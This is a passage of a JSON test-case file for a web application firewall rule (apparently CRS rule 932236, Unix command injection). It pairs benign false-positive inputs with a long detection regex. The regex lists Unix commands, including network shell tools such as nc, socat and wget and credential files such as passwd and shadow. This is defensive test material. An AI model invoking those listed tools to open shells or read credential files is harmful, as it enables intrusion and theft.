o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "FP with word settings" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=hello; time he came" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\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(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "False positive against \"time\"" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=a hero; more than" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part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|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|s